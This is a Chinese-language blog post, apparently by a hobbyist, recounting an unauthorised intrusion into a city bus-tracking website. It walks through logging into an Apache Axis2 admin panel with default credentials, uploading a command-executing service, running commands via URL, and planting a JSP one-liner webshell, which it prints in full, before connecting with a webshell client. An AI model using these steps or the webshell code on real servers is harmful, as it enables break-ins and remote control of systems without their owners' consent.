仅供学习! 切勿违法
前言:今天是我练习科目3的第三天,又是早上起床早早的去往驾校的路上,晚上回家是要做公交车回家的,
于是打开微信找到我们市的公众号,看下回家的公交车到哪里了…结果有了意图
如图:
今天看到了公交车查询的网站,于是进行一下渗透测试…
前言:今天是我练习科目3的第三天,又是早上起床早早的去往驾校的路上,晚上回家是要做公交车回家的,
于是打开微信找到我们市的公众号,看下回家的公交车到哪里了…结果有了意图
如图:
今天看到了公交车查询的网站,于是进行一下渗透测试…
jsp的网站比较老了,结果扫描目录发现,,找到了Axis2的后台地址:
url:http://www.xxxx.com/axis2/axis2-admin/
直接尝试默认账号 admin 密码 axis2 无意结果登陆进去了…
果然不堪一击…
实战当中可以读取/conf/axis2.xml
内容看一下账号密码
点击左侧Upload service
浏览上传一个webshell,axis2貌似只支持.arr的文件
我们找到,Cat.arr的这样一个文件(百度就有)
这个文件类似于中马也可以可以执行cmd命令也可以写入文件进去…
我们执行看一下
http://www.xxx.com/axis2/services/Cat/exec?cmd=whoami
权限还是很高的,接下来我们要做的就是获取classpath路径
http://www.xxx.com/axis2/services/Cat/getClassPathResponse
可以看到:/D:/tomcat8/webapps/axis2 网站路径 我们写文件的时候要用到的
接下来就是写文件,getshell
搞定jsp的的一句话:<% if(request.getParameter("f")!=null)(new java.io.FileOutputStream(application.getRealPath("//")+request.getParameter("f"))).write(request.getParameter("t").getBytes()); %>
需要转换为url编码,可以百度编码转换
编码转换之后看下面:
这样就写文件进去了,目录在 http://www.xxx.com/axis2/1.jsp
ok,接下来我们本地创建一个一个html,我们用本地jsp客户端连接
服务端地址
你提交的代码
保存成的文件名:
- 写入我们jsp一句话,蚁剑连接…
OK,到这里不继续了,交洞跑路。
总结:
又是没什么可总结的,细节细节,多尝试,新手一枚,大佬多多指教,希望我的9号科目三顺利通过!!!